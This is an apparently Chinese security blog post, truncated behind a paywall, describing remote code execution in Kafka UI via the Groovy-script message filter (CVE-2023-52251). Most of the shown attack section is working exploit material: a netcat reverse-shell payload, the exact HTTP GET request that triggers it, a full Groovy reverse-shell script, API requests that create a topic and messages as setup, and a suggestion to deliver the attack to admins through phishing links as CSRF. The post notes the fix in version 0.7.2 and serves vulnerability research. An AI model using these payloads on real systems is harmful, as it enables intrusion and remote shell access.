在Kafka UI实现RCE的3种方法【部分】

文摘   2024-07-30 19:03   上海  

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。


博客新域名:https://gugesay.com

不想错过任何消息?设置星标↓ ↓ ↓


前言

Kafka UI 是一款流行的开源 Web 应用程序,旨在管理和监控 Apache Kafka 集群。主要被开发人员和管理员使用,以提供连接的 Kafka 集群的可视化表示。

有些用户可能不知道,在默认配置下,Kafka UI 不需要身份验证来读取和写入数据。这导致许多未受保护的 Kafka UI 实例部署在内部网络中,甚至暴露在互联网上。

它可能不会被视为重要的安全问题,因为暴露的数据可能是公开的或根本不敏感的,但它却可能会打开通往内网的大门。

本文将分享如何在 Kafka UI 中找到三个不同的 RCE 漏洞的过程。

PS:这些漏洞已在0.7.2版本中修复,如果你正在使用Kafka UI,请务必记得升级!

CVE-2023-52251:通过 Groovy 脚本实施 RCE

在浏览完 Kafka UI 的 Web 界面后,消息过滤功能引起了研究人员的注意,Kafka UI 允许提供简单的查询来过滤服务器端的消息,当查看源代码时,可以发现Kafka内部支持GROOVY_SCRIPT过滤器类型,并将其评估为Groovy脚本,这使得攻击者可以进行任意代码执行。

MessageFilters.java:

public static Predicate createMsgFilter(String query, MessageFilterTypeDTO type) {
switch (type) {
case STRING_CONTAINS:
return containsStringFilter(query);
case GROOVY_SCRIPT:
return groovyScriptFilter(query);
default:
throw new IllegalStateException("Unknown query type: " + type);
}
}

COPY

要测试它,需要通过 UI 导航到其中一个集群,然后选择其中一个主题并点击“Messages”选项卡,然后,创建一个包含以下内容的新过滤器:

new ProcessBuilder("nc","host.docker.internal","1234","-e","sh").start()

该 Groovy 脚本将生成一个新进程,其中包含指向目标地址的反弹 Shell,当通过 UI 执行此操作时,浏览器就会向服务器发送以下请求:

GET /api/clusters/local/topics/topic/messages?q=new%20ProcessBuilder(%22nc%22,%22host.docker.internal%22,%221234%22,%22-e%22,%22sh%22).start()&filterQueryType=GROOVY_SCRIPT HTTP/1.1
Host: 127.0.0.1:8091

利用 Burp Suite Repeater 中重新发送该请求:

默认的 Kafka Docker 镜像已安装 Netcat,如果nc不起作用,还可以使用更复杂的反弹 Shell Groovy 脚本,如下:

String host="localhost";
int port=1445;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0) so.write(pi.read());
while(pe.available()>0) so.write(pe.read());
while(si.available()>0) po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {p.exitValue();
break;
}
catch (Exception e){}
};
p.destroy();
s.close();

COPY

注意,要成功利用该漏洞,连接的 Kafka 集群应至少启用一个主题,并在其中包含一些消息,如果没有,攻击者可以利用 Kafka UI 的 API 来创建它们:

POST /api/clusters/local/topics HTTP/1.1
Host: 127.0.0.1:8091
Content-Length: 92
Content-Type: application/json

{"name":"topic","partitions":1,"configs":{"cleanup.policy":"delete","retention.bytes":"-1"}}
POST /api/clusters/local/topics/topic/messages HTTP/1.1
Host: 127.0.0.1:8091
Content-Length: 85
Content-Type: application/json

{"partition":0,"key":"123","content":"123","keySerde":"String","valueSerde":"String"}

需要注意的是,即使 Kafka 受到身份验证保护并且至少有一个包含消息的主题,RCE 也可以通过简单的 GET HTTP 请求触发。因此,还可以通过发送网络钓鱼链接促使管理员使用浏览器打开它们从而进行 CSRF 攻击。

加入星球,完整阅读:


(前50位成员):99元/年
(前100位成员):128元/年
100位+成员):199元/年

感谢阅读,如果觉得还不错的话,欢迎分享给更多喜爱的朋友~

====正文结束====

骨哥说事
一个喜爱鼓捣的技术宅
 最新文章